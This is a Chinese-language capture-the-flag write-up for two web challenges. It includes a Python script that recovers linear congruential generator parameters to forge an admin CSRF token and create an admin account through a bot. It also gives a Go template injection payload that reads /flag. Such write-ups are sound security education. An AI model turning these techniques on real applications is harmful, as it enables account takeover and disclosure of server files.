Admin Dashboard
在 index.php 中可以看到需要访问者是 admin 权限,才可以看到 flag。
report.php 中可以让 admin bot 访问我们输入的 url,那么也就是说可以访问 addadmin.php 添加用户。
在 addadmin.php 中可以添加 admin 用户,但是需要 admin 权限添加,且 csrf-token 要是 admin 用户生成的,也就是说现在万事俱备,只差 csrf-token,而这个 csrf-token 是线性同余生成的伪随机数,且我们知道了其中的,M 和 n(伪随机数),那么自然也就可以逆推出 A 和 C,也就可以伪造 admin 的 csrf-token 了,具体实现过程和函数关系,可以看看相关文章。
import requests
import re
import time
import string
import random
import binascii
BASE = 'http://admin-dashboard.chal.ctf.acsc.asia'
#BASE = 'http://localhost:8000'
username = ''.join(random.sample(string.ascii_letters, 10))
password = ''.join(random.sample(string.ascii_letters, 10))
print(f'username -> {username}')
print(f'password -> {password}')
s = requests.Session()
s.get(BASE + '/register', params={'username':username, 'password':password})
s.get(BASE + '/login', params={'username':username, 'password':password})
x = []
for _ in range(8): #获取8个伪随机的线性 token,用来逆推
t = s.get(BASE + '/addadmin').text
token = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0]
print(token)
x.append(int(token, 16))
time.sleep(35)
# ============================================
# https://satto.hatenadiary.com/entry/solve-LCG
def solve_unknown_increment(states, A, M):
B = (states[1] - A * states[0]) % M
return B
from Crypto.Util.number import inverse
def solve_unknown_multiplier(states, M):
A = (states[2] - states[1]) * inverse((states[1] - states[0]), M)
return A
from Crypto.Util.number import inverse, GCD
from functools import reduce
def solve_unknown_modulus(states):
diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])]
multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])]
# GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2])
M = reduce(GCD, multiples_of_M)
return M
M = solve_unknown_modulus(x)
A = solve_unknown_multiplier(x, M)
C = solve_unknown_increment(x, A, M)
# answer
print("A = {}".format(hex(A)))
print("C = {}".format(hex(C)))
print("M = {}".format(hex(M)))
# ============================================
from Crypto.Util.number import *
assert (A * bytes_to_long(username.encode()) + C) % M == x[0]
print(hex((A * bytes_to_long('admin'.encode()) + C) % M))
获得 csrf-token 后,发送生成 admin 账户的 url,最后以 admin 权限的账户登录即可。
http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0
easySSTI
if err := t.Execute(buf, c); err != nil {
模板生成的部分,在 main.go
里面,且上下文传递的变量c是echo.Context,我们可以搜索任何从这里追踪到并可以使用的东西。
在 https://github.com/labstack/echo/blob/master/echo.go
,发现一个叫做 Filesystem 的东西,可以用 Open 打开 File,它会返回相应文件的 fs.File。
然后用它自己准备的 Read,且在 main.go 中 tmpl, ok := c.Get("template").([]byte)
可以检索变量 .Get "template"
如果将其指定为保存目标,然后显示它就可以让 flag 以十进制数组来显示。
payload:
{{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}}
wp
https://blog.hamayanhamayan.com/entry/2023/02/26/124239